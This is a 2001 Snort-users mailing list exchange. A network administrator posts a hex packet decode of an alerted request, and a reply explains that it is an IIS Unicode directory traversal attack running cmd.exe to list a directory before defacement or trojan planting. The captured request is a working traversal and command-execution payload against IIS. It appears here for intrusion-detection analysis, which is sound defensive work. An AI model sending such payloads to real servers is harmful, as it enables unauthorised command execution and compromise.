RE: spp_http_decode: IIS Unicode attack detected

["Ben Johansen" <benj () intelisoft net>]

If you have Windows NT Server running IIS and you have CMD.EXE (Command
Prompt) still in you C:\winnt\system32 folder. The Hacker will get a nice
directory listing of the folder he specified, First step before defacement
or copying a trojan to your scripts folder.

Ben Johansen - www.pcforge.com
list commands: www.pcforge.com/WiTangoTalk.htm

-----Original Message-----
From: snort-users-admin () lists sourceforge net
[mailto:snort-users-admin () lists sourceforge net]On Behalf Of Steve Moran
Sent: Thursday, August 30, 2001 2:22 PM
To: snort-users () lists sourceforge net
Subject: [Snort-users] spp_http_decode: IIS Unicode attack detected


I see these all the time, I'm not sure what point of it is, here is a packet
decode, any one have any idea?

 length = 66

000 : 47 45 54 20 2F 73 63 72 69 70 74 73 2F 2E 2E 25   GET /scripts/..%
010 : 63 31 25 38 73 2E 2E 2F 77 69 6E 6E 74 2F 73 79   c1%8s../winnt/sy
020 : 73 74 65 6D 33 32 2F 63 6D 64 2E 65 78 65 3F 2F   stem32/cmd.exe?/
030 : 63 2B 64 69 72 20 48 54 54 50 2F 31 2E 30 0D 0A   c+dir HTTP/1.0..
040 : 0D 0A                                             ..


Steve Moran
Network Security
CSS, Inc.
(303) 526-5515 (work)
(303) 526-3464 x132 (direct)
(720) 244-7038 (cell)
steve.moran () csssoftware com





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